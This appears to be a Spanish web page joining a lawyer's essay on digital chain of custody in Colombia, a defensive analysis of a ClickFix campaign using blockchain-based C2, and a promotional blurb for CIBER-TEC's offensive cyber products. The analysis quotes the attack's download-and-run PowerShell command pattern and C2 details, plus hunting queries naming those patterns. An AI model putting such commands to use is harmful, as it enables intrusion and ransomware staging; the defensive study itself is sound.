Por Luisa Fernanda Barragán Ávila — Abogada · Magíster en Derecho Digital
Hace algunos meses acompañé un proceso penal en el que la defensa logró excluir un dictamen pericial digital que, técnicamente, era impecable. El análisis era correcto. Las conclusiones eran válidas. Pero la forma en que se recolectó la información en campo dejó una grieta que cualquier abogado con experiencia podía explotar.
El juez lo sabía. La fiscalía lo sabía. Y, tristemente, lo supieron demasiado tarde.
Ese proceso me llevó a reflexionar sobre una pregunta que debería ser obligatoria en cualquier curso de investigación criminal, pero que rara vez se hace con la profundidad que merece: ¿puede una evidencia digital ser técnicamente correcta y jurídicamente inadmisible al mismo tiempo?
La respuesta es sí. Y con más frecuencia de lo que los equipos de investigación quisieran admitir.
La cadena de custodia digital no empieza en el laboratorio
Uno de los errores más comunes que observo en la práctica —y lo digo con el respeto que merecen los investigadores que trabajan bajo presión y con recursos limitados— es creer que la cadena de custodia digital empieza cuando la evidencia llega al laboratorio forense.
No. Empieza en el momento exacto en que se toca por primera vez el dispositivo, el sistema o, en el caso de la telefonía móvil, en el momento en que se hace el primer registro de actividad en campo.
El artículo 275 del Código de Procedimiento Penal colombiano (Ley 906 de 2004) reconoce los mensajes de datos como elemento material probatorio. Pero ese reconocimiento no opera en el vacío: la evidencia electrónica tiene que haber sido recolectada, etiquetada, preservada y transportada siguiendo procedimientos que garanticen que lo que se presenta ante el juez es lo mismo, sin alteración, que lo que existía en el momento de los hechos.
Ese principio tiene nombre en el mundo del derecho anglosajón —del que bebemos mucho en el sistema acusatorio— y en Colombia lo aplicamos a través de lo que llamamos el principio de mismidad.
El principio de mismidad: el argumento que la defensa siempre intentará tumbar
El principio de mismidad de la evidencia exige que el elemento probatorio presentado al juez sea idéntico al que se recolectó en la escena. Cualquier diferencia, por mínima que sea, puede ser utilizada por la defensa para solicitar la exclusión de la prueba por violación al debido proceso probatorio.
¿Cómo se garantiza la mismidad en evidencia digital? A través de los valores hash criptográficos.
Un hash es una huella digital matemática de un archivo o conjunto de datos. El estándar más ampliamente utilizado en forensia digital es el SHA-256. Funciona así: en el momento de la recolección, el sistema genera automáticamente un código alfanumérico único para los datos capturados. Si un solo bit de esa información cambia —por error, por manipulación o por cualquier otra causa— el hash cambia completamente. Y si el hash que se presenta en el juicio no coincide con el hash que se registró en campo, la defensa tiene un argumento sólido para cuestionar la integridad de la evidencia.
Aquí está el problema práctico: si la herramienta con la que se recolectó la información no genera hash automático en el momento de la captura, la cadena de custodia tiene un hueco que ningún informe pericial posterior puede cerrar.
¿Qué dice la norma internacional?
La comunidad internacional de forensia digital no dejó esto al azar. La norma ISO/IEC 27037:2012 —que en Colombia se aplica como referente técnico en procesos de investigación criminal con componente digital— establece directrices específicas para la identificación, recolección, adquisición y preservación de evidencia digital. Su punto de partida es claro: la evidencia digital debe ser manejada de manera que se preserve su integridad, su autenticidad y su confiabilidad desde el momento de su identificación hasta su presentación ante la autoridad competente.
Complementariamente, la RFC 3227 —guía de mejores prácticas del IETF para la recolección y archivo de evidencia digital— establece el orden de volatilidad que debe guiar la recolección y enfatiza que el procedimiento debe ser documentado de forma que pueda ser auditado y reproducido.
Ninguna de estas normas es de cumplimiento obligatorio en Colombia mediante ley. Pero en el escenario del contrainterrogatorio, cuando un experto de la defensa pregunta al investigador de campo “¿bajo qué norma técnica fue recolectada esta información?”, la incapacidad de responder con precisión siembra duda. Y en el sistema acusatorio, la duda trabaja para la defensa.
El escenario de la telefonía móvil: un caso especialmente crítico
Quiero detenerme en el contexto específico de la investigación basada en telefonía celular, porque es donde he visto las inconsistencias más frecuentes y las más costosas en términos procesales.
Cuando un fiscal necesita demostrar que una persona estuvo en determinado lugar a determinada hora, uno de los caminos más utilizados es el análisis de los Registros Detallados de Llamadas (CDRs) suministrados por los operadores celulares. Pero ese análisis requiere un paso previo que muchos dan por sentado sin ejecutarlo correctamente: el inventario forense de las estaciones base (BTS) que dan cobertura en el área de los hechos.
¿Por qué es crítico ese inventario? Porque los CDRs no identifican una ubicación geográfica exacta por sí solos. Identifican la antena a la que se conectó el dispositivo. Si no existe un inventario riguroso y documentado de qué antenas estaban activas, en qué frecuencias y bajo qué tecnología (2G, 3G, 4G, 5G) en el momento de los hechos, el análisis de los CDRs pierde precisión y, peor aún, pierde credibilidad frente al juez.
Ahora bien: ¿cómo se hace ese inventario correctamente?
En primer lugar, debe hacerse en el sitio, porque las condiciones de cobertura varían según el entorno físico. No es lo mismo hacer el inventario desde una oficina con la base de datos de un operador que hacerlo en campo con dispositivos que recreen las condiciones reales de conectividad del momento de los hechos.
En segundo lugar, los datos del inventario deben registrarse con todos los parámetros técnicos identificadores: MCC, MNC, LAC/TAC, CID, NODE, banda de frecuencia, tipo de tecnología, coordenadas geográficas, operador, entre otros según la tecnología (2G, 3G, 4G y 5G). La omisión de cualquiera de estos parámetros puede ser utilizada para cuestionar la correspondencia entre las antenas inventariadas y las antenas que aparecen en los CDRs.
En tercer lugar —y aquí regresamos al punto del principio de mismidad— esa información debe quedar sellada con un hash criptográfico desde el momento de su captura, de forma que no sea posible modificarla posteriormente sin que el sistema lo detecte.
La pregunta que el juez hará y que la investigación debe poder responder
En mi experiencia acompañando procesos, hay una pregunta que aparece con una frecuencia inquietante en las audiencias preparatorias y de juicio oral cuando se discute evidencia de telefonía: “¿Cómo garantiza usted que la información que presenta hoy es exactamente la misma que fue recolectada en campo, sin modificación alguna?”
Si el investigador puede responder: “Señoría, el sistema generó un hash SHA-256 en el momento de la captura. El hash del archivo original y el hash del archivo que estoy presentando son idénticos, y así consta en el informe de campo”, la cadena de custodia digital está blindada.
Si la respuesta es: “Los datos fueron recolectados manualmente y exportados a una hoja de cálculo”, la puerta está abierta.
La diferencia entre una respuesta y otra no depende solo del investigador. Depende de la herramienta que utiliza.
Una reflexión final sobre la responsabilidad institucional
Esta no es solo una discusión técnica. Es una discusión sobre la efectividad del sistema de justicia.
Cuando una evidencia legítima es excluida por un defecto de procedimiento en la recolección, no pierde solo la fiscalía. Pierde la víctima, que ve cómo un proceso válido se cae por razones que poco tienen que ver con la verdad de los hechos. Y pierde la institución, que invirtió tiempo, recursos humanos y presupuesto en una investigación que no pudo llegar a buen término.
Las entidades de policía judicial y las fiscalías tienen la responsabilidad —y en muchos casos ya tienen la conciencia— de dotar a sus investigadores de herramientas que no solo funcionen, sino que funcionen conforme a los estándares que el proceso penal exige. Eso incluye la generación automática de hashes, la documentación estructurada de parámetros técnicos, la producción del informe de campo en formatos reconocidos por el sistema (como el FPJ-11), y la trazabilidad completa desde el momento de la captura.
No es un lujo investigativo. Es el piso mínimo de una investigación que puede sostenerse ante un juez.
La conversación sobre estándares en forensia de campo es urgente y debe darse entre quienes investigan, quienes acusan, quienes defienden y quienes juzgan.
Luisa Fernanda Barragán Ávila Abogada · Magíster en Derecho Digital
CIBER-TEC, En este artículo analizaremos una campaña, documentada por Unit 42, que industrializa la convergencia de tres mundos que hasta hace poco operaban por separado: la ingeniería social de ClickFix (inducir a la víctima a ejecutar un comando desde su propio equipo), un kit de malware como servicio (MaaS) llamado JokerStat con paneles de operador y soporte por Telegram, y una capa de comando y control resuelta en la blockchain de Polygon mediante la técnica EtherHiding. La cadena termina en staging previo a ransomware: robo de credenciales de LSASS, enumeración de Active Directory y auto-replicación. La actividad se solapa con operaciones atribuidas a Rapid Brigantine (Vanilla Tempest).
Tesis del artículo: esta operación no introduce una técnica inédita; ensambla varias con lógica de producto. La consecuencia defensiva es que las listas de bloqueo y el escaneo de archivos llegan tarde por diseño. El control efectivo se desplaza al eslabón humano, al egress y a la lectura del propio contrato en la cadena de bloques.
1. El contexto y la anatomía de la cadena
Lo relevante de esta campaña no es ninguna técnica aislada, sino cómo se ensamblan. Es un caso de estudio del modelo compartimentado que gobierna el ecosistema de ransomware actual, donde el acceso, la plataforma de entrega y la post-explotación son servicios independientes que se acoplan por transacción.
La secuencia completa recorre seis etapas. Un usuario llega a un sitio comprometido que le muestra una falsa verificación de seguridad; siguiendo las instrucciones, pega y ejecuta un comando de PowerShell que arranca toda la cadena. El payload viaja oculto en una imagen y se ejecuta en memoria sobre un proceso firmado y confiable. El malware pregunta a un contrato en la blockchain de Polygon cuál es su servidor de mando y control vigente, se conecta, persiste y comienza a preparar el terreno para el cifrado.
2. ¿Qué es ClickFix? Mecánica y por qué funciona
ClickFix es una técnica de acceso inicial que invierte la carga de la ejecución: en lugar de que el atacante entregue y detone un binario, es la propia víctima quien ejecuta el código malicioso en su equipo, convencida de que realiza un paso de verificación legítimo. El patrón se popularizó a mediados de 2024 y hoy es uno de los vectores de entrada de mayor crecimiento porque elude, de raíz, las defensas centradas en la descarga de archivos.
El mecanismo se apoya en tres piezas. Primero, un señuelo que imita una pantalla familiar y confiable —un desafío de Cloudflare, una actualización del navegador, un error de reproducción de video—. Segundo, la inyección silenciosa en el portapapeles: mediante JavaScript, la página coloca un comando en el portapapeles del usuario sin que este lo perciba. Tercero, unas instrucciones guiadas que llevan a la víctima a abrir una consola con privilegios y pegar el comando. En la campaña analizada, el señuelo instruye la secuencia Win+X, elegir Terminal, Ctrl+V y Enter.
El comando del portapapeles y el polimorfismo sintáctico
El comando pegado sigue un patrón reconocible: fija el protocolo de seguridad a TLS 1.2 y a continuación invoca iex(irm 'https://<dominio>/dl/p/<UUID>'), es decir, descarga la siguiente etapa del payload (el siguiente “stage”) desde un dominio de C2 y lo ejecuta en memoria. El detalle interesante para la ingeniería de detección es que el kit no emite un único comando, sino cinco variantes sintácticas equivalentes: enumeración explícita del protocolo, forma numérica abreviada (3072 equivale a TLS 1.2), banderas abreviadas (-ubp en lugar de -UseBasicParsing), sintaxis con operador de tubería (por ejemplo, 'https://<dominio>/dl/p/<UUID>' | iex en lugar de iex(irm ...)), y uso de la cadena de texto 'Tls12' en lugar del valor numérico para fijar el protocolo. Todas producen el mismo efecto, pero cambian la huella textual para degradar las reglas basadas en firmas estáticas. A esto se suma la rotación de los dominios de C2 y el uso de rutas con identificadores UUID por víctima.
¿Por qué funciona tan bien? Porque desplaza el punto de decisión desde la máquina hacia la persona y desde el archivo hacia una acción manual. No hay descarga que un navegador pueda bloquear ni adjunto que un gateway pueda detonar en sandbox; hay un ser humano copiando texto. Además, la ejecución interactiva en PowerShell deja una traza forense muy concreta —la clave de registro RunMRU— que, paradójicamente, es también una de las mejores oportunidades de detección.
3. El actor y la estructura de afiliados (JokerStat MaaS)
Detrás de la campaña no hay un actor monolítico, sino una cadena de suministro del cibercrimen. Conviene separar los roles porque cada uno se comercializa por separado y esa separación es, en sí misma, un rasgo defensivamente relevante.
La plataforma: JokerStat como kit MaaS
El elemento articulador de esta operación es JokerStat, un kit de malware como servicio. La evidencia es contundente: los quince dominios de C2 identificados sirven exactamente el mismo clon —una falsa página de acceso a un panel de analítica llamado JokerStat— y ofrecen incluso un canal de soporte por Telegram (@jokerstat_support) para los operadores que adquieren el kit. El propio código delata la marca: la variable de guarda que evita ejecuciones concurrentes de la captura de pantalla se llama __jks_screen_run_ (jks por JokerStat).
Este es el patrón del MaaS moderno, ya documentado en kits como Odyssey: un operador desarrolla y mantiene la plataforma —los paneles, la infraestructura de resolución, las páginas señuelo— y la alquila a afiliados que ejecutan las campañas. La consecuencia operativa es doble. Por un lado, homogeneiza los artefactos: el mismo clon y las mismas rutas aparecen en infraestructura distinta, lo que facilita el pivote y la caza para el defensor. Por el otro, desacopla la atribución: quien despliega el señuelo no es necesariamente quien desarrolla el kit ni quien ejecuta el ransomware final.
La post-explotación: solapamiento con Rapid Brigantine
La actividad posterior a la ejecución refleja de cerca operaciones atribuidas a Rapid Brigantine, un actor también conocido como Vanilla Tempest, DEV-0832, Vice Society y VICE SPIDER, activo desde al menos 2022 y asociado a familias de ransomware como Rhysida, BlackCat, Zeppelin y Quantum Locker. La formulación correcta es solapamiento conductual, no atribución concluyente: los TTP coinciden, pero en un modelo de afiliados el mismo conjunto de técnicas puede ser operado por manos distintas. Mantener esa cautela analítica es parte del rigor del informe, no una debilidad de este.
4. Blockchain en la cadena de ataque: EtherHiding sobre Polygon
Este es el corazón técnico de la operación y lo que la separa del ClickFix genérico. En lugar de codificar el servidor de C2 en el malware —donde sería un indicador fijo y bloqueable— el implante lo consulta en tiempo real a un contrato inteligente en la blockchain de Polygon. La técnica se conoce como EtherHiding.
Qué es EtherHiding y de dónde viene
EtherHiding fue documentada por primera vez por Guardio Labs en octubre de 2023, en el marco de la campaña ClearFake, y desde entonces la han adoptado actores cada vez más capaces, incluido un clúster norcoreano descrito por Google (Mandiant/GTIG) en octubre de 2025. La idea es tomar prestado un concepto del espionaje clásico —el resolutor de punto muerto o dead-drop resolver— y llevarlo a la cadena de bloques: en vez de conectarse directamente al C2, el malware primero consulta una fuente pública y legítima para averiguar cuál es el C2 vigente. Cuando esa fuente es un contrato inteligente, hereda todas las propiedades de la blockchain: es inmutable, está replicada globalmente y cualquiera puede leerla, incluido el malware.
Cómo funciona en esta campaña, paso a paso
El código de resolución implementa una función getServers() que itera una lista de ocho endpoints RPC públicos de Polygon —drpc.org, publicnode, 1rpc.io, QuickNode, OnFinality, Pocket Network, entre otros— y contra cada uno emite una llamada eth_call. Esa llamada invoca el método identificado por el selector 0x3bc5de30 sobre el contrato 0xf5966808a9ECbdb8794F568922809C52b0Fd2446. El contrato devuelve, codificada en su estado, la lista de dominios de C2 activos.
Tres decisiones de diseño merecen atención. La redundancia de endpoints —ocho RPC distintos— garantiza que bloquear uno o dos proveedores no interrumpa la resolución. El uso de eth_call, que es una llamada de solo lectura, significa que no se consume gas ni se genera una transacción: la consulta es gratuita, no deja rastro en el historial de transacciones del contrato y, sobre el cable, es indistinguible de la interacción de cualquier aplicación descentralizada legítima. Y la rotación se vuelve trivial para el atacante: con una sola transacción que reescribe el estado del contrato, cambia el C2 de toda la botnet simultáneamente.
Por qué importa: resiliencia frente a auditabilidad
El C2 on-chain invierte una premisa básica de los takedowns. El comando y control tradicional tiene un centro incautable —un dominio, una IP, un servidor—. Aquí no lo hay: el punto de resolución vive en un contrato inmutable que no admite sinkholing ni puede darse de baja. Para el defensor, esto significa que perseguir los dominios resueltos es una carrera perdida, porque son efímeros y se reemplazan con una transacción.
Este patrón no es teórico ni marginal. En abril de 2026, The DFIR Report documentó una intrusión en la que un malware que resolvía su C2 desde contratos —EtherRAT— derivó, a través de un framework de C2, en el despliegue del ransomware The Gentlemen. La clase de infraestructura que aquí se analiza es la misma que termina en cifrado a escala empresarial.
El arma de doble filo. La misma inmutabilidad que protege al atacante lo expone. El estado del contrato es público, permanente y con marca de tiempo. Leer el historial de escrituras del contrato enumera todos los dominios de C2 que han estado activos y revela el ritmo de operación del actor. La lectura correcta es contraintuitiva: el dominio resuelto es el indicador más débil y la dirección del contrato es el indicador más fuerte y perdurable. Ese es el pivote de detección y atribución que el atacante no puede borrar.
5. Técnicas de evasión
Más allá del C2 en blockchain, la operación acumula varias capas de evasión que conviene entender por separado, porque cada una anula una familia distinta de controles.
Esteganografía en PNG y ejecución en memoria con Donut
El payload no viaja en claro: se oculta dentro de los datos de píxel de una imagen PNG. Un loader .NET reconstruye desde esos píxeles un shellcode empaquetado con Donut —un framework legítimo de red team que convierte ejecutables .NET o PE en shellcode de posición independiente— y lo ejecuta directamente en memoria. En disco solo queda una imagen estadísticamente normal, lo que anula el escaneo estático de archivos.
DLL sideloading sobre binario firmado
El proceso que ejecuta el shellcode es un binario de Microsoft legítimamente firmado, al que se le hace cargar una DLL maliciosa por sideloading. El resultado es que la actividad hereda la reputación del binario firmado: la telemetría deja de decir “binario desconocido” y pasa a decir “carga de módulo en un proceso confiable”, un evento mucho más difícil de priorizar para un EDR basado en reputación.
Exfiltración de pantalla y reinyección dinámica del portapapeles
El kit incluye dos capacidades adicionales. La primera es la exfiltración de capturas de pantalla: usando html2canvas, el implante renderiza la página visible, la serializa como JPEG en base64 y la envía por POST al endpoint /collect/screen del C2, repitiéndolo cada 120 segundos. La segunda es la inyección dinámica del portapapeles: el implante consulta el endpoint /cload —parametrizado con un identificador, el sistema operativo y el hostname de la víctima— y ejecuta como script el contenido devuelto, que a su vez reescribe el portapapeles. Esto permite al operador cambiar el comando ClickFix servido a cada víctima sin tocar la página, de forma segmentada y en caliente.
Polimorfismo, rotación y persistencia resistente al aislamiento
A las anteriores se suman el polimorfismo sintáctico del payload (las cinco variantes ya descritas), la rotación de quince dominios de C2 registrados con poca antelación, y un rasgo especialmente incómodo para la respuesta a incidentes: en al menos un caso documentado, la persistencia siguió relanzándose durante horas después de aislar el host en red. El aislamiento del EDR no cortó el mecanismo de relanzamiento local, lo que obliga a tratar el aislamiento como contención temporal y no como erradicación.
6. Post-explotación y staging pre-ransomware
La fase final es un manual de preparación de impacto. Se observa volcado de credenciales desde el proceso LSASS, enumeración por LDAP de administradores de dominio y de equipos, y auto-replicación del código en directorios con nombres aleatorizados. Ese trío —robo de credenciales, mapeo de Active Directory y propagación— no corresponde a un infostealer que exfiltra y se marcha, sino al reconocimiento de dominio con intención de movimiento lateral y despliegue masivo de cifrado. Es, en términos prácticos, la antesala del ransomware, y es también la última ventana de detección limpia antes del cifrado.
7. Indicadores de compromiso (IoC)
Los siguientes indicadores provienen de la investigación de Unit 42 y de la evidencia analizada. Deben verificarse contra su vigencia antes de operacionalizarlos, dada la rotación descrita; el indicador más perdurable no es ningún dominio, sino la dirección del contrato.
Falsa actualización SocGholish en WordPress comprometido
Execution
T1204.004 · T1059.001
ClickFix → PowerShell ejecutado por la víctima
Defense Evasion
T1027.003 Steganography
Shellcode Donut oculto en píxeles de un PNG
Defense Evasion
T1574.002 DLL Side-Loading
Binario Microsoft firmado carga una DLL maliciosa
Defense Evasion
T1055 Process Injection
Ejecución del shellcode en memoria
Command & Control
T1102 · T1568 (EtherHiding)
Contrato en Polygon como dead-drop resolver + dominios rotatorios
Collection
T1113 Screen Capture
Exfiltración de pantalla con html2canvas cada 120 s
Collection / Exec
T1115 Clipboard Data
Inyección y reescritura dinámica del portapapeles
Credential Access
T1003.001 LSASS Memory
Volcado de credenciales del proceso LSASS
Discovery
T1018 · T1069 (LDAP)
Enumeración de administradores de dominio y equipos
Impact (staging)
T1486 (preparación)
Auto-replicación y preparación del cifrado
9. Recomendaciones de protección
Las contramedidas se ordenan por dominio de control y por su resistencia frente a la evasión específica de esta cadena. El criterio rector es concreto: cada medida ataca un eslabón identificado y se explica por qué funciona, evitando la recomendación genérica.
C1 — Cortar el eslabón humano en el endpoint
Es la medida de mayor impacto y menor fricción, porque toda la cadena depende de que un usuario ejecute PowerShell interactivo. Restringir o auditar el diálogo Ejecutar y el acceso a la Terminal para cuentas estándar mediante GPO; desplegar reglas ASR de Microsoft Defender que bloqueen la creación de procesos hijos desde el navegador y la ejecución de contenido ofuscado; y habilitar el registro de PowerShell (ScriptBlock y Module Logging) junto con Constrained Language Mode. Si la ejecución interactiva está gobernada por política, la cadena se rompe en su primer eslabón.
C2 — Gobernar el egress y vigilar la resolución en blockchain
La lección de EtherHiding es que bloquear dominios es insuficiente por diseño. La contramedida realista tiene dos frentes. En el egress: proxy con inspección y bloqueo de tráfico RPC/Web3 no autorizado hacia nodos de blockchain (Polygon, BSC, Ethereum) desde procesos que no son navegadores ni carteras legítimas; y filtrado de dominios de registro muy reciente (NRD). En inteligencia on-chain: incorporar la dirección del contrato como indicador de vigilancia y leer periódicamente su historial de estado para enumerar los C2 vigentes e históricos, convirtiendo la inmutabilidad del atacante en telemetría propia.
C3 — Endurecer el endpoint contra la evasión en memoria
Frente a la ejecución en memoria y al sideloading sobre binarios firmados, la firma de fichero deja de bastar: el EDR debe apoyarse en protección conductual y detección de inyección en memoria, no solo en reputación. Para el robo de credenciales, activar la protección de LSASS (RunAsPPL / LSA Protection), Credential Guard donde el hardware lo permita, y la regla ASR que bloquea el volcado de credenciales desde LSASS.
C4 — Redefinir la contención en respuesta a incidentes
Dado que la persistencia sobrevivió al aislamiento, la contención de red debe acompañarse de una erradicación local verificada: enumeración de tareas programadas, claves Run/RunOnce, servicios y watchdogs antes de declarar contenido el host. Se asume persistencia redundante y se trata el aislamiento como medida temporal, no como estado final del incidente.
C5 — Cazar la actividad post-explotación como red de seguridad
Si la evasión temprana tuvo éxito, la fase de reconocimiento de dominio es la última oportunidad limpia antes del cifrado. Monitorear accesos anómalos a lsass.exe, ráfagas de consultas LDAP enumerando grupos privilegiados y objetos de tipo equipo, y creación de archivos replicados en directorios aleatorizados. Son señales que la esteganografía y el C2 en blockchain no pueden ocultar.
10. Detección e ingeniería de cacería
La detección de mayor valor es la del acto ClickFix en sí, porque es el eslabón que la víctima no puede ocultar. Windows registra los comandos ejecutados desde el diálogo Ejecutar en la clave RunMRU, lo que permite parsear entradas en busca de uso sospechoso. Las siguientes consultas son puntos de partida —no reglas de producción— para orientar la cacería.
// PowerShell / mshta / rundll32 lanzados por el navegador o Explorer
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("explorer.exe","chrome.exe","msedge.exe")
| where FileName in~ ("powershell.exe","mshta.exe","rundll32.exe")
| where ProcessCommandLine has_any ("irm","iex","-enc","-ubp","UseBasicParsing","3072")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
KQL · Egress hacia RPC de blockchain desde procesos no-navegador
// Conexiones a nodos RPC (Polygon/BSC/Ethereum) fuera de navegadores y wallets
DeviceNetworkEvents
| where RemoteUrl has_any ("drpc.org","publicnode.com","1rpc.io","quiknode.pro",
"onfinality.io","pocket.network","rpc.polygon")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl
KQL · Acceso sospechoso a LSASS
DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","wmiprvse.exe")
| summarize count() by DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath
Como complemento, tres señales de alto rendimiento cierran el espectro: binarios firmados de Microsoft que cargan DLLs desde rutas de usuario no estándar (%APPDATA%, %TEMP%, directorios aleatorizados); tráfico saliente periódico y regular hacia el endpoint /collect/screen o patrones POST con cuerpos JPEG en base64; y el monitoreo directo, en un explorador de bloques, de la dirección del contrato para alertar sobre cada nueva escritura de estado —es decir, sobre cada rotación de C2 en el momento en que ocurre.
11. Conclusión
Esta operación no destaca por inventar, sino por integrar con criterio de producto. Ensambla ingeniería social de portapapeles, un kit MaaS con paneles y soporte, evasión en memoria y un C2 en blockchain, y lo orquesta hacia un único fin: el cifrado. Su significado para la postura de riesgo institucional es que consolida un patrón donde la entrega es barata y comoditizada, la evasión es de grado ofensivo y la infraestructura de control resiste los takedowns. Una defensa organizada por firmas y listas de bloqueo llega, estructuralmente, tarde.
La respuesta correcta no es acumular herramientas, sino reordenar los controles alrededor de tres verdades que esta cadena deja expuestas. El eslabón más frágil del atacante es la ejecución humana del comando, y ahí conviene concentrar la fricción. La resolución del C2 vive fuera de la infraestructura incautable, de modo que el egress y la lectura del propio contrato se convierten en el punto de control real. Y la contención por aislamiento es una ilusión si no se acompaña de erradicación local verificada. El defensor que internalice esas tres ideas no necesita anticipar cada variante futura: le basta con cerrar las condiciones que todas comparten. La misma inmutabilidad que hace invencible el C2 del atacante es, leída al revés, el registro público que lo delata.
Fuentes y referencias
Unit 42, Palo Alto Networks — ClickFix campaign utilizing MaaS kit with Blockchain C2 (Timely Threat Intelligence, 2026-07-02).
Unit 42, Palo Alto Networks — Fix the Click: Preventing the ClickFix Attack Vector.
Unit 42, Palo Alto Networks — The ClickFix Factory: First Exposure of IUAM ClickFix Generator (modelo MaaS/afiliados; Odyssey).
Unit 42, Palo Alto Networks — 2026 Global Incident Response Report (ClickFix, ejecución en memoria, cadena hacia ransomware).
En un nuevo paradigma de seguridad global donde los conflictos se libran tanto en el cielo como en el dominio digital, CIBER-TEC se ha consolidado como un actor fundamental en la vanguardia de la defensa moderna. Bajo la estratégica dirección de su representante legal, Franklin Herrera Suárez, la empresa ha desplegado un arsenal tecnológico de última generación que está redefiniendo las capacidades de defensa y ofensiva cibernética.
La cartera de soluciones de CIBER-TEC es un claro reflejo de esta visión de futuro. Sus plataformas de drones ofrecen vigilancia y reconocimiento táctico con una precisión sin precedentes, mientras que sus sistemas anti-drones proporcionan un escudo impenetrable contra la creciente amenaza de aeronaves no tripuladas hostiles. Complementando esta supremacy aérea, la empresa ha desarrollado sofisticadas herramientas de OSINT (Inteligencia de Fuentes Abiertas) que permiten a las fuerzas armadas y agencias de inteligencia analizar enormes volúmenes de datos para anticipar amenazas.
El corazón de la oferta de CIBER-TEC, sin embargo, reside en sus plataformas de ciberguerra. Bajo el liderazgo de Herrera Suárez, la compañía ha creado sistemas capaces de realizar operaciones cibernéticas ofensivas y defensivas a gran escala, protegiendo infraestructuras críticas y proyectando el poder nacional en el quinto dominio de la guerra.
«La seguridad del siglo XXI no se entiende sin dominar el cielo y el ciberespacio. En CIBER-TEC, hemos desarrollado un ecosistema integrado que garantiza la superioridad tecnológica de nuestros clientes en ambos frentes», declaró Herrera Suárez en un reciente foro internacional de defensa.
Con estas capacidades, CIBER-TEC no solo responde a las necesidades actuales, sino que moldea el futuro de la defensa global, posicionándose como el socio estratégico indispensable para las naciones que buscan mantenerse a la vanguardia en un mundo cada vez más complejo y digitalizado.
